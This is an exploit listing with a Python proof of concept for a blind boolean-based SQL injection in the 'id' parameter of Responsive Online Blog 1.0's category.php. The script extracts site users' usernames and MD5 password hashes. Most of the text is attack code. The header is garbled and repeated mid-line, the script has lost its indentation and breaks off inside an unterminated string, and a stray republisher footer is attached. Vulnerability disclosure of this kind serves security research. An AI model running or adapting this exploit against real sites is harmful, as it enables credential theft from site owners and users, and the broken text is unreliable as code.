# Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi
# Date: 2022-04-16
# Exploit Author: Gideon Kamioka (@w1ezl)
# Vendor Homepage: https://www.sourcecodester.c # Exploit Title: Responsive Online Blog 1.0 - Blind Boolean-based SQLi
# Date: 2022-04-16
# Exploit Author: Gideon Kamioka (@w1ezl)
# Vendor Homepage: https://www.sourcecodester.com/php/14194/responsive-online-blog-website-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14194&title=Responsive+Online+Blog+Website+using+PHP%2FMySQL
# Version: v1.0
# Tested on: XAMPP Linux/7.4.7
# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,
# which can provide attackers with access to the username and md5 hash of all site users.
# Vulnerable file: /category.php
# Usage: python3 exploit.py http://localhost/blog/category.php
# Proof of Concept:
#!/usr/bin/python3
import sys,requests,re
def cred_Length(ip,p,max):
f = requests.get(ip, params=f'id={p.replace("[i]",str(125))}', verify=False)
failLen=len(f.text)
for k in reversed(range(1,max)):
r = requests.get(ip, params=f'id={p.replace("[i]",str(k))}', verify=False)
if (len(r.text) != failLen):
return k
return None
def search_Credentials(ip, p):
charlist="abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@{|}~[]^_`"
f = requests.get(ip, params=f'id={p.replace("[CHAR]",str(125))}', verify=False)
failLen=len(f.text)
for k in charlist:
r = requests.get(ip, params=f'id={p.replace("[CHAR]",str(ord(k)))}', verify=False)
if (len(r.text) != failLen):
return ord(k)
return None
def logo():
art = R'''
░░░░ ░░░░
░░░░░░░░ ░░░░░░░░
░░░░░░░░ ░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░░░░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░████░░░░░░████░░░░░░
░░░░░░░░░░░░░░░░░░░░░░
░░░░░░░░░░░░░░░░░░
'''
info = "
Responsive Online Blog 1.0 SQL Injection
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 187